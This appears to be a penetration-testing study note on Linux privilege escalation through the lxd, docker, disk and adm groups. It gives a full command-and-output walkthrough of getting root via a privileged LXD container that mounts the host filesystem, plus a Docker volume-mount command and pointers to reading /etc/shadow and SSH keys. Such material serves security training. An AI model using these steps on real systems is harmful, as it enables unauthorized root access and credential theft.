**Privileged Groups**

**LXC / LXD**

LXD is similar to Docker and is Ubuntu's container manager. Upon installation, all users are added to the LXD group. Membership of this group can be used to escalate privileges by creating an LXD container, making it privileged, and then accessing the host file system at /mnt/root. Let's confirm group membership and use these rights to escalate to root.

devops@NIX02:~$ id

uid=1009(devops) gid=1009(devops) groups=1009(devops),110(lxd)

Unzip the Alpine image.

devops@NIX02:~$ unzip alpine.zip

Archive: alpine.zip

extracting: 64-bit Alpine/alpine.tar.gz

inflating: 64-bit Alpine/alpine.tar.gz.root

cd 64-bit\ Alpine/

Start the LXD initialization process. Choose the defaults for each prompt. Consult this [post](https://www.digitalocean.com/community/tutorials/how-to-set-up-and-use-lxd-on-ubuntu-16-04) for more information on each step.

devops@NIX02:~$ lxd init

Do you want to configure a new storage pool (yes/no) [default=yes]? yes

Name of the storage backend to use (dir or zfs) [default=dir]: dir

Would you like LXD to be available over the network (yes/no) [default=no]? no

Do you want to configure the LXD bridge (yes/no) [default=yes]? yes

/usr/sbin/dpkg-reconfigure must be run as root

error: Failed to configure the bridge

Import the local image.

devops@NIX02:~$ lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine

Generating a client certificate. This may take a minute...

If this is your first time using LXD, you should also run: sudo lxd init

To start your first container, try: lxc launch ubuntu:16.04

Image imported with fingerprint: be1ed370b16f6f3d63946d47eb57f8e04c77248c23f47a41831b5afff48f8d1b

Start a privileged container with the security.privileged set to true to run the container without a UID mapping, making the root user in the container the same as the root user on the host.

devops@NIX02:~$ lxc init alpine r00t -c security.privileged=true

Creating r00t

Mount the host file system.

devops@NIX02:~$ lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true

Device mydev added to r00t

Finally, spawn a shell inside the container instance. We can now browse the mounted host file system as root. For example, to access the contents of the root directory on the host type cd /mnt/root/root. From here we can read sensitive files such as /etc/shadow and obtain password hashes or gain access to SSH keys in order to connect to the host system as root, and more.

devops@NIX02:~$ lxc start r00t

devops@NIX02:~/64-bit Alpine$ lxc exec r00t /bin/sh

~ # id

uid=0(root) gid=0(root)

~ #

**Docker**

Placing a user in the docker group is essentially equivalent to root level access to the file system without requiring a password. Members of the docker group can spawn new docker containers. One example would be running the command docker run -v /root:/mnt -it ubuntu. This command create a new Docker instance with the /root directory on the host file system mounted as a volume. Once the container is started we are able to browse to the mounted directory and retrieve or add SSH keys for the root user. This could be done for other directories such as /etc which could be used to retrieve the contents of the /etc/shadow file for offline password cracking or adding a privileged user.

**Disk**

Users within the disk group have full access to any devices contained within /dev, such as /dev/sda1, which is typically the main device used by the operating system. An attacker with these privileges can use debugfs to access the entire file system with root level privileges. As with the Docker group example, this could be leveraged to retrieve SSH keys, credentials or to add a user.

**ADM**

Members of the adm group are able to read all logs stored in /var/log. This does not directly grant root access, but could be leveraged to gather sensitive data stored in log files or enumerate user actions and running cron jobs.

secaudit@NIX02:~$ id

uid=1010(secaudit) gid=1010(secaudit) groups=1010(secaudit),4(adm)

**To look for audit logs:**

**aureport –tty**